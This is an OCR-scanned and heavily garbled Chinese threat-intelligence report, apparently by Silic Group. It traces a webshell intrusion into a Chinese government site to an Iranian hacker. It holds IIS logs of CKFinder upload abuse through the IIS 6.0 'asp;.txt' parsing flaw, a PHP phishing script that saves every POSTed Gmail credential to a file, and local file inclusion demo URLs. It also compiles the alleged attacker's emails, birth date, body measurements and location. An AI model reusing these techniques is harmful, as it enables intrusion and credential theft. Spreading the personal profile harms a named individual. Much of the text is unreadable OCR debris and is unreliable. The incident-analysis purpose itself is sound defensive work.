GET /CEeditor/ckfinder/core/connector/aspx/connector.aspx command=GetFilesstype=Files&cur:
GET /CKeditor/ckfinder/core/connector/aspx/connector.aspx command=DownloadFilestype=Files
POST /CEeditor/ckfinder/core/connector/aspx/connector.aspx command=FileUploadstype=Filess:
GET /CKeditor/ckfinder/core/connector/aspx/connector.aspx command=GetFilesstype=Files&cur:
POST /CEeditor/ckfinder/core/connector/aspx/connector.aspx command=FileUpload&étype=Filess:
GET /CEeditor/ckfinder/core/connector/aspx/connector.aspx command=GetFiles&stype=Files&cur:
GET /CEeditor/ckfinder/core/connector/aspx/connector.aspx command=GetFilesstype=Images&cu
GET /CKeditor/ckfinder/core/connector/aspx/connector.aspx command=GetFiles&type=Files&cur:
GET /CEeditor/ckfinder/core/connector/aspx/connector.aspx command=GetFilesstype=Flash&cur:
GET /CKeditor/ckfinder/core/connector/aspx/connector.aspx command=GetFiles&type=Imagesacu:
GET /CEeditor/ckfinder/core/connector/aspx/connector.aspx command=GetFilesstype=Files&cur:
GET /CKeditor/ckfinder/core/connector/aspx/connector.aspx command=GetFilesitype=Filesicur:
GET /CEeditor/ckfinder/core/connector/aspx/connector.aspx command=GetFilesstype=Files&cur:
GET /CHeditor/ckfinder/core/connector/aspx/connector.aspx command=GetFileszitype=Filesicur:
POST /CEeditor/ckfinder/core/connector/aspx/connector.aspx command=RenameFileitype=Filess:
GET fckeditor/userfiles/files/T23.asp;.txt — 80 - 2.145.86.141 Mozilla/5.0+ (Windows+NT+6.:
GET /ckeditor/userfiles/files/T23.asp:;.txt - 80 - 2.145.86.141 Mozilla/5.0+ (Windows+NT+6.:
GET /ckeditor/userfiles/files/T23.asp;.txt action=delipath=F:|07133C23B13C23B8%C23BT3C3%9]
GRET fokeditnr/userfiles/Ffiles/T?3 aan: . txt raiz=F:\0713%R1EFRAFRTEND AdminWeh okedi tnrin=ses
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KBy BAhRIEH KT . HH ckeditor (Y _EAEAT S EAE—A webshell ]/ H 3%, 4k
JE1EH GetFiles i 2 HiA & & FALRTY, BE¥ webshell Ay 444 T23.asp;.txt, X4

FE 1S 6.0 PR T 2 1 W B AT ASP JRIAIIAT Y, BT ASRANI48 8 M3QD4AD 42 F K 18 1T
08:28:12 GET /ckeditor/userfiles/files/T23.asp;.txt raiz=F:\0713%B1%B8%B7%DD\AdminWeb 80 -
2.145.86.141 Mozilla/5.0+(Windows+NT+6.2;+rv:20.0)+Gecko/20100101+Firefox/20.0

08:28:29 GET /ckeditor/userfiles/files/T23.asp;.txt
action=mass&massact=test&path=F:|0713%B1%B8%B7%DD%7CAdminWeb| 80 - 2.145.86.141
Mozilla/5.0+(Windows+NT+6.2;+rv:20.0)+Gecko/20100101+Firefox/20.0

08:28:33 GET /ckeditor/userfiles/files/T23.asp;.txt
action=upload&path=F:|0713%B1%B8%B7%DD%7CAdminWeb | 80 - 2.145.86.141
Mozilla/5.0+(Windows+NT+6.2;+rv:20.0)+Gecko/20100101+Firefox/20.0

08:28:47 POST /ckeditor/userfiles/files/T23.asp;.txt
action=upload&processupload=yes&path=F:|0713%B1%B8%B7%DD%7CAdminWeb | 80 -
2.145.86.141 Mozilla/5.0+(Windows+NT+6.2;+rv:20.0)+Gecko/20100101+Firefox/20.0

08:28:52 GET /ckeditor/userfiles/files/T23.asp;.txt raiz=F:\0713%B1%B8%B7%DD\AdminWeb 80 -
2.145.86.141 Mozilla/5.0+(Windows+NT+6.2;+rv:20.0)+Gecko/20100101+Firefox/20.0

08:28:56 GET /m3.htm 2.145.86.141
Mozilla/5.0+(Windows+NT+6.2;+rv:20.0)+Gecko/20100101+Firefox/20.0

08:37:39 GET /ckeditor/userfiles/files/T23.asp;.txt 2.145.86.141
Mozilla/5.0+(Windows+NT+6.2;+rv:20.0)+Gecko/20100101+Firefox/20.0 200 0 64

08:37:49 GET /ckeditor/userfiles/files/T23.asp;.txt
action=upload&path=F:|0713%B1%B8%B7%DD%7CAdminWeb | ckeditor| 80 - 2.145.86.141
Mozilla/5.0+(Windows+NT+6.2;+rv:20.0)+Gecko/20100101+Firefox/20.0

08:38:19 POST /ckeditor/userfiles/files/T23.asp;.txt
action=upload&processupload=yes&path=F:|0713%B1%B8%B7%DD%7CAdminWeb | ckeditor |
80 - 2.145.86.141 Mozilla/5.0+(Windows+NT+6.2;+rv:20.0)+Gecko/20100101 +Firefox/20.0

08:38:20 GET /ckeditor/userfiles/files/T23.asp;.txt
raiz=F:\0713%B1%B8%B7%DD\AdminWeb\ckeditor 80 - 2.145.86.141
Mozilla/5.0+(Windows+NT+6.2;+rv:20.0)+Gecko/20100101+Firefox/20.0
08:38:23 GET /ckeditor/3000.aspx 2.145.86.141
Mozilla/5.0+(Windows+NT+6.2;+rv:20.0)+Gecko/20100101+Firefox/20.0
08:38:30 GET /ckeditor/3000.aspx 2.145.86.141

Mozilla/5.0+(Windows+NT+6.2;+rv:20.0)+Gecko/20100101+Firefox/20.0
A s B H B3RS 7 —5 7 M3QD4D {1 asp 1 webshell J& [ THIRHIE, W48 &

raiz, BT | 7 MERERE S BRAT, HEWT M3QD4ad {4 )2+ HH 2K pouya webshell,

XA webshell ## P6F L& L HIL A HTE 1S 6.0 U4 SENTIRRH, HZXA
webshell JFA FRGIUEDIRE, K, RAERGEXER T M3QpaD bAE 17— MEK
3000.aspx J5&i | JFE/F o

2k, M3QD4AD FERL 1 — R EBUF s FINAR BTSRRI AN N
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3) M3QD4D EANA

3.1 BiIiER

M3QD4D 7E www.xjjh.gov.cn/m3.htm B N RIS HE BT H ORIHEFERIEE, FEA 8 A
THRIZ: LorD CraCk@att.Net, SRTIATEIE] 7~ M3QDAD LMERIIREY, K3 T 5

AR — AN B4E M.e.G.h.D.a.D@att.Net.

ont 2010-03-16 11140512
MIQO4D Domain: hito: s 1w oddt'uz 62.192.224.244

o koD
ux Web server: AanN Notfier atats
E (mirree) page of the site when it was saved by our robot on 2010-05-16 11:40:12

Lhs,Site. Hacked By M3QD4D

iBELGE

what 1s security?

roits réservés

email-1:

email-2 :

XANHhE R A 2010 ERITREG ORI . AR FATEAE R, @RI T N ERE LA
A T RIS A -

B i) RERM | HECF | BEER | AENE | FDba | BELF

C FEER ] 33 I(al:keﬁ By M3GDADfESEE

EiRR AR A FRE!

IR#R: Malkell By M3QD4D |
1 FESSEEERETRE
HE: BE
WERR: 2011-10-20
A8
il
Hidik: 11111111111
HE:

#a:
28

HBEE: m3qdddByahos. com
LLA VN

KEEE | wiEHE
EnBf: TREEEER WRAE © 2001-2007 i B SsEAIFEesS HMR: 330002
ZEWFNERS: BiE-1-3-2002253 ICHRS: k2200507088 Rl T RELAREERCRREREW

XA HE R AE—A goven BUMG A T, M3QD4D 7E FTHIVEM T —N 4N Hacked by
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M3QD4D [()43 51, (HRIX K FHIMRAS 2 m3qdad@yahoo.com, XAIXAEME RHDA
ZRLGUHE: http://www.jxgl.gov.cn/news2006/ShowSource.asp?Action=ShowUser&UserID=203

AL m3qdad R, EM M RIBFEEAZERER, Kb —4 4
4 M3QDAD I, TS & FAT T T B 2 1

VM 9130 8 olo 6 ¢ LsuglS oo . M3QA4AT
1361/,31/26 2gze 31500 50
330
Ulgdal - Ulgdal « Iran
LR
Oliwrgs 5 OLlidl Uy wles
caally L
il 4 Bgd
o adnily
JAaslal CH3
B wronlew )8
160-165 a8
55-60 O
BT . Fgad 3105 § B
=il bl 5
http:/ fwwew.arzantarin.net g afdo
06:2% coclow 1391 4p0 3 Cugac ful
3 el Ll Slel
ot ol m3qd4d [at] yahoo [dot] com 1 Juodl
'?::T lord crack@att.net gl Ul ol

Gtle ol
- HaCk - Sociology anle
B e

Bgh ghaio py Jeami ceazad § 8ol SlE At Cuiol 8 auej g allbe

A ol pols B (il losall=t
l"!, 0 1y aoid pyla UL auls gsge s
) Liangs Slas U glald jle i T

A5 Ly s gy jugli anliy

. J8pa - eadled 1oy - el Cady o0udn lpold

W5 el

gl b 158 longa i Ogoeia® Jin oriily pecd a5 0y SIBIAE jor s Lsuliss 10
wivaisr iy jemeal US 5

XA uE B TR A http://www.cloob.com/name/m3gd4d

XA T P A R A IAE B, tAE AN KR T -

P44 : M3QD4AD, ESEEA: MR PRI (V8 « saes), AT 1361 4F, Ak H HAE#H
JERZsE 6 HEliE 7 H 26 H, #HATTLFEELRARZE 1982 FEAAKIMET. ftE Ohs
EE VRN 31 %, atiAd AN ZRRSER, AnLFERZzE DA 31 J%Y, [HEF
W2 FiEgw 31 A% . GmmT 160 3 165, {KE 50 5] 55, FAEFHIKHFINES (ran «
O aa e e aal), S, SN AERL b, (HR TR R EE YA, B R ORIER)
AHET AT RE R BB RPN Tl W28 N L2 5
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MR T M3QD4D [, i H A B AR T L BT A A SR AT
IR K I %02 HS R ER R

MBhIE BERRERE ML EE AR
T X Ee(E R, [ESRERNIEE — N r “NANFET” ¢ http://www.arzantarin.net
BT E RNl H %, H2EHX FRSCH2— MIAR T, FTHXA SO

/mail.google/Gmail%20%20Email%20from%20Google.htm

R
| & Gmail: Email from Gomy

M v B v mEPR) > =2(5)v T8O~

GOUgle New to Gmail?

Gmail
A Google approach to email. Signin Google
‘Gmail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After Username
all, Gmail has:
Lots of space Password
Owver 7831.957433 megabytes (and counting) of free storage
Less spam
Keep unwanted messages out of your inbox m =| Stay signedin
Mobile access Can't access your account?
Get Gmail on your mobile phone. Learn more

About Gmail ~ New features! ~ Switch to Gmail ~ Create an account

Latest News from Gmail

Gmail and Contacts get better with Google+ Thu Dec 08 2011
Wa want in hrinn uni a nraat avnaranca acrnee all Gannla neaducts which far Gmail and Contarte

{h2%pE Gmail EFERERIFIE R
FLSBATAT PR SR H o F 4 ok X LA T N 7. #1140 explore.php
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explore.php 58 #ACHS
<?php
header ('Location:http://www.gmail.com ');
Shandle = fopen("hacked.txt", "a");
foreach(S_POST as Svariable => Svalue) {
fwrite(Shandle, Svariable);
fwrite(Shandle, "=");
fwrite(Shandle, Svalue);
fwrite(Shandle, "\r\n");
}
fwrite(Shandle, "\r\n");
fclose(Shandle);
exit;
>

X HESk 7AW POST i, A5 LR EM IR NS ANF hacked.txt IXANSCAF:, IF
H i<k 2 5 IER) Gmail #ibk, & —MIEKRAfE T . &F 7 —F arzantarin.net

XAMEA ) WHOIS /55, /& klsoft@yahoo.com, X4~ Email HuhibFeA @ 2R &K ILIEA 2

M3QD4D N A AF A Email.

3.2 FEADHR

ERX DA NS5l 7B, RIS MERE —F . iR

M3QD4D 1E—N T H B 4 5 i IS B “Greetz: keivan , Elvator , Hijacker , Satanic2000 ,

Ali_D3COD3R, MR.F@RDIN , DarkSpy”

[+] Demo: hittp:// wew.chiclayoweb.com/index.phpmenu=../../../proc/self/enviror

[+] Demo: http:/ www.gsociaciondeexalumnossanjosefinos.orgs/indexl. phpimenu=. .,

Griztz:

Ashiyane Members : Behroozlce,Q7x,,Virangar,Iman_taktaz,Kelivan,sli_esagle
Taghva,M30D4D, PrincelfHacking,Hidden-Hunter, Root3r,elvator, unique2world

mzhacker,zend,milad-bushehr,aliakh,__amir__,anti2@&,ruin3r,Hijacker,RzB4

&amp;
1337 Member: r@@73r,5ide”effects,rddcdre,eldelwelss,Seele,aglix, gunslingsr
sn!pEr.5!te, indoushka, Knockout, ZoR1lu, AnT! -Tr@ldn, eXssoul ,

# DisCovered By XroGuE !!!

‘omments

CONF FXPIOITS O FCTION

#
#
#
# Gladiator,Wahid, Encoder,mmilad28@,n3me3iz,(lassic, r3d. z8n3, injector, frénk
#
#
#
#
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RV ARIE S H AT IR, (EE R BATRE] 7 — iR, Rl 4 i i

Syctel Design Local File Inclusion, fEX ik &I 7 —LARMN & .

http://exploitsdownload.com/exploit/na/syctel-design-local-file-inclusion

X&) 2011 4F 4 AR, (ERRTTHEFEFIA Keivan. Elvator. Hijacker FF5R7E51.
HAE VX J LA N ZE T2 M3QD4D 7EN(ZI535E T 2SI 7 7 .

WATES] T —A Ashiyane Members, £ F#ZE T Ashiyane X ANHLHISE TR, &
WA — A4l ashiyane.org, MRIEHAH, HHEAHI\ LR M2 2P 1. H2, &
TIEHE HRIEER I T W AN —%E:  http://ashiyane.org/forums/showthread.php?t=22985

£ Ashiyane B JRIZKIL T —METTHERIER B SR BRI T, WX ANG R
Kik 672 T ! B— TUASRI T OB A2 I Il Y DR bk | T SRATEE B 2% Alexa HE4, FEGF
B4 400, tHAHELB TG .

aShlyanE.Org This site’s metrics are not certified

ol 53 el 5 Fn ol 5B 3 g oyl aeSl | Siad 55 £ - Ashiyane
Security Team

) Add Logo

aipdag B a5 88 | anast el Ashiyane <l <5 254 online resource of security

Statistics Summary for ashiyane.org

Ashiyane.org's three-month global Alexa trafiic rank is 19,141, The site has attained a traffic rank of 400 among users in Ire
where we estimate that 36% of its audience is located, and this site... Show More

Alexa Traffic Rank Reputation
@ 19,141 = 400 1,123 A et
Global Rank & Rank in IR @ Sites Linking In @ ‘ﬁ;ﬁé‘ffgi

Did you know? You can get the most accurate rank possible by cerifying your site’s metrics. Find out how.

Alexa HEBEE
IR IR B S AR B 2 H A A NAR B, Xt R A B 1 SR A R IR 2 JER

RGN ATFEFRBIRBZAT N, HAT A NEIR.

5 600 2 TN ETADFRA R ITEIE, HEW IHERE M3QD4D B2 5 [k
IR NIRTES), BIANESS 72 T( ashiyane.org/forums/showthread.php?t=22985&page=72 )i
AR TRIEAE .

FEEANRIZH A AR AR AGER, BF M3QDAD K Bk T Il 2 71X
http://ashiyane.org/forums/member.php?u=1060996 B AI17] LLF 2| & i (ARTE T it A=
H o vEME], A H o2 1982 48 6 H 26 H, 55T H AR Ha 6 =2 Do W e 4 H o2& — 3, At

404F M3QD4D L4 Y Fai® 31 S 1. RAMESAIRANFEE R, B — TSI E gt
Silic Group



http://exploitsdownload.com/exploit/na/syctel-design-local-file-inclusion
http://ashiyane.org/forums/showthread.php?t=22985
http://ashiyane.org/forums/member.php?u=1060996

E ILIC SJRHEREMEZEEZE - Silic Network Security Solutions

Hdls gk 2] M3QDAD M 2010 T 4R X E ) gov.en AT AR, BB ZE i 4t -

2010 429 H: 74> gov.en %
2010 £ 10 H: 2 4> gov.cn ¥l /5

SR1M M3QD4D H#EA Ashiyane B /7 W IHIBT A2 2010 £ 7 H 19 H, #aMrjigit, 7
Ashiyane 1% 15 5 Wik N2 (K B2 h M3QD4D tH2 — 1 7. FiXH, mM3QD4aD Al
BT 43R A E & 4R K 1.

'@ N w¥ http://ashiyane.org/forums/member.php?u=1060996

W el b g0 - 0l 09 2 conl L. X

i~ B v mEPR) v 226 IE0)~v

M3QD4D

(June 26, 1982 (30
Caac fuli .
e PM 05:04 2013-31-03 sy Collsb £ Cloj 3 gl
18 Carang E 90D
454

L ey Egocm0

454 11 Cooay Eo0ZE0

0.94 oy Jab 55 iy oalileo

M3QDAD (51 vy s (il

M3QDAD kg 815 le] Slegoga plod sadlin

@ 808 il Slpolay
17 Q 321:1 play Egoze

™R33VES AliD3COD3R  iransecurity PM 08:32 2012-26-06 oLy ooy i
M30D4D sl Gl 1S L3l olay

whial Total Tharks

9 CISCO Hacked Total Thanks: 1,764
ooy 412 53 815 5005 ly 3,014

viron _ Find all thanked posts by M3QD4D

3 == Find all posts thanked by M3QD4D

090 Slelsl
Uliwss and Jaulod PM 05:04 2013-31-03 1l Caalled 10y Gl g
2010-19-07

Olewrgs 105 516 awlas

m

M3QDA4D 7E Ashiyane HJ%}

£ M3QD4D [HIlF A2 B, dark-spy~ Elvator 25X # — i {E R Bk A #1E S

AT RIE Ji 0 45 22 2 it 1] LA AR -0 B 37 Dt — AN B R IO BE S it 7 2 8
BYPNEAZHERICIREIAFAE? M XA ZORE VARG ? XA — AR &
JERPCKEIRINIEE T LR, RN 2 R AR Sk ?

— I A A P R AR L A [ SR R AT Y, — I AN R T A e R 1
%%, KRR ARERIAT R ?

AR, SIRIE W 44 22 ATt n) [ BAFE X BLI% 4 Ashiyane Security Team — )ik :
M bRRAAERE, NRBESHRASBLIEIR-—FLELEZA, BiEAART,
ST CAFe 5| ATEX AN R M 2 2 2 F 09 S AHE R 2 2P B IABF 3R ) o

STRHE 2 P 48 22 2B 1) B BAKE AN B BTk A\ AR o B P 4 11 ERL A1 BB AT AR o, B R

HEME LS, BiR—HAE RN !
Silic Group



